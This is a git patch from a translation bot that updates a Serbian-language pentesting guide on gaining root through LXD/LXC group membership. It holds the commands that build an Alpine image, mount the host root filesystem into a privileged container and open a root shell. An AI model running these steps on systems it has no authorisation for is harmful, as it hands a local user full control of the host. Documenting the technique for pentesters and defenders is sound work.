From 20214157dfb02596be0d42a6f216f275d79a4f74 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 20 May 2025 15:10:45 +0000
Subject: [PATCH] Translated
 ['src/linux-hardening/privilege-escalation/interesting-groups

---
 .../lxd-privilege-escalation.md               | 28 ++++++++++---------
 1 file changed, 15 insertions(+), 13 deletions(-)

diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
index 0ab5fdab3..893f0519f 100644
--- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
+++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
@@ -8,18 +8,23 @@ Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root
 
 ### Metoda 1
 
-Možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
+Možete preuzeti alpine sliku za korišćenje sa lxd iz pouzdane biblioteke.  
+Canonical objavljuje dnevne verzije na njihovom sajtu: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)  
+Samo preuzmite **lxd.tar.xz** i **rootfs.squashfs** iz najnovije verzije. (Ime direktorijuma je datum).
+
+Alternativno, možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (pratite uputstva sa github-a):
 ```bash
-sudo su
 # Install requirements
 sudo apt update
-sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
+sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
 
 # Clone repo
+mkdir -p $HOME/go/src/github.com/lxc/
+cd $HOME/go/src/github.com/lxc/
 git clone https://github.com/lxc/distrobuilder
 
 # Make distrobuilder
-cd distrobuilder
+cd ./distrobuilder
 make
 
 # Prepare the creation of alpine
@@ -27,13 +32,10 @@ mkdir -p $HOME/ContainerImages/alpine/
 cd $HOME/ContainerImages/alpine/
 wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
 
-# Create the container
-## Using build-lxd
-sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
-## Using build-lxc
-sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
+# Create the container - Beware of architecture while compiling locally.
+sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
 ```
-Otpremite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
+Otpremite datoteke **incus.tar.xz** (**lxd.tar.xz** ako ste preuzeli iz Canonical repozitorijuma) i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
 ```bash
 lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
 
@@ -49,8 +51,8 @@ lxc list
 lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
 ```
 > [!CAUTION]
-> Ako pronađete ovu grešku _**Greška: Nema pronađenog skladišnog bazena. Molimo kreirajte novi skladišni bazen**_\
-> Pokrenite **`lxd init`** i **ponovite** prethodni deo komandi
+> Ako naiđete na ovu grešku _**Greška: Nema pronađenog skladišnog prostora. Molimo kreirajte novi skladišni prostor**_\
+> Pokrenite **`lxd init`** i postavite sve opcije na podrazumevane. Zatim **ponovite** prethodni deo komandi
 
 Na kraju možete izvršiti kontejner i dobiti root:
 ```bash
@@ -58,7 +60,7 @@ lxc start privesc
 lxc exec privesc /bin/sh
 [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
 ```
-### Metod 2
+### Metoda 2
 
 Izgradite Alpine sliku i pokrenite je koristeći flag `security.privileged=true`, prisiljavajući kontejner da komunicira kao root sa host datotečnim sistemom.
 ```bash